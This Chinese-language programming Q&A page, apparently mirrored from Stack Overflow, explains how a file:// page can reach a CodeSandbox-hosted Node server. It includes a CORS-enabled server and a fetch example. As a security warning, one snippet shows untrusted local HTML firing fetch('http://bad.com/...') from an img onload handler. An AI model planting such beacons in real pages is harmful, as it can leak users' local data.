如何使用socket.io使'file://'文件连接到node.js服务器

问题描述 投票:0回答:1

问题是“file://”协议无法发送 xmlhttprequests(我认为)。我正在使用 socket.io,当我尝试执行

var socket = io("my codesandbox server link");
操作时,它无法连接。我不是在本地主机上托管服务器,而是在codesandbox 上托管它。有没有办法绕过“file://”协议无法连接到服务器/发送 xmlhttprequests?

我上网查了一下,说是浏览器限制。我不能使用这个,因为我需要将文件(在 USB 记忆棒上)提供给多个人,而他们无法更改浏览器标志。

node.js server socket.io xmlhttprequest client
1个回答
0
投票

enter image description here

https://codesandbox.io/


首先, file:// 协议本质上是一个像其他协议一样的协议,它确实有一些额外的限制,其中一个是

document.domain=null
一个总是无法通过任何域检查的特殊域

这通常是新开发人员开始的地方,在他们对服务器、网卡、IP 地址、域名有任何了解之前,他们只是在硬盘驱动器上创建基本的 html 文件,然后双击它们或打开浏览器并按 ctrl-o

我应该在顶部注意到从 file:// 协议运行不受信任的代码的潜在安全隐患,因为以下内容完全合理,尽管由于 document.domain 限制,javascript 无法访问数据

    <!-- untrusted.html -->
    <body>
          <img src='../../../probably-dont-want-this-image-displayed-thanks.png' onload='fetch("http://bad.com/yep-this-exists")'>
          <iframe src='../../../super-secret.html'></iframe>
          <script src='../../../this-should-never-have-been-run-here.js'></script>
          <!-- etc -->
    </body>

话虽如此,您可以像使用其他协议一样使用 file:// 协议

您可以连接到您的codesandbox虚拟机(开发容器,devbox)
但你需要

external url
,你可以从以下内容确定外部网址

    var port          = 3000;
    var hostname      = require('os').hostname;
    var previewUrl    = `https://${hostname}-${port}.csb.app`;
    console.log(previewUrl);  //  https://jmycxx-3000.csb.app/test

我在这里设置了一个例子

    //server.js

    var port          = 3000;
    var hostname      = require('os').hostname;
    var previewUrl    = `https://${hostname}-${port}.csb.app`;
    console.log(previewUrl);

    require('http').createServer(request).listen(port);

    function request(req,res){

          console.log(req.url,req.method);

          var headers   = {
                'access-control-allow-origin': '*',
          };

          if(req.method==='OPTIONS'){    //  cors
                res.writeHead(204,headers);
                res.end();
                return;
          }

          if(req.url==='/test'){
                res.writeHead(200,headers);
                res.end('testing 1 2 3');
                return;
          }

          res.end('helloworld');
    }

https://codesandbox.io/p/devbox/chat-test-jmycxx?file=/server.js

我过去在使用 https 服务器时遇到过类似服务(stackblitz.com)的一些麻烦,可能是因为端口转发到虚拟机的方式,似乎更像是一个错误,但请记住

你可以对它进行任何你喜欢的调用,包括socket.io,你需要的是一个cors响应,因为document.domain在file://协议上的行为方式,我在示例中包含了一个cors响应

您可以从 file:// 或其他任何地方向它发出 fetch ( xmlhttprequest ) 请求

<!-- local-file.html -->
<script type=module>

      var res   = await fetch('https://jmycxx-3000.csb.app/test');
      var txt   = await res.text();
      //alert(txt);
      console.log(txt);    //  testing 1 2 3
      
</script>
      

您的虚拟机需要可用才能连接到它,因此请确保您已在终端中启动服务器并使其保持运行,如果您关闭终端窗口,进程将退出,我不完全熟悉使用codesandbox,但文档建议它有一个以秒为单位的预热/启动时间,我会密切关注代码并在需要时更新此答案

除此之外,codesandbox 似乎是下一代服务,我期待着探索和使用它

一如既往地加入我们的 stackoverflow javascript 聊天以获得更多讨论/澄清https://chat.stackoverflow.com/rooms/17/javascript

© www.soinside.com 2019 - 2024. All rights reserved.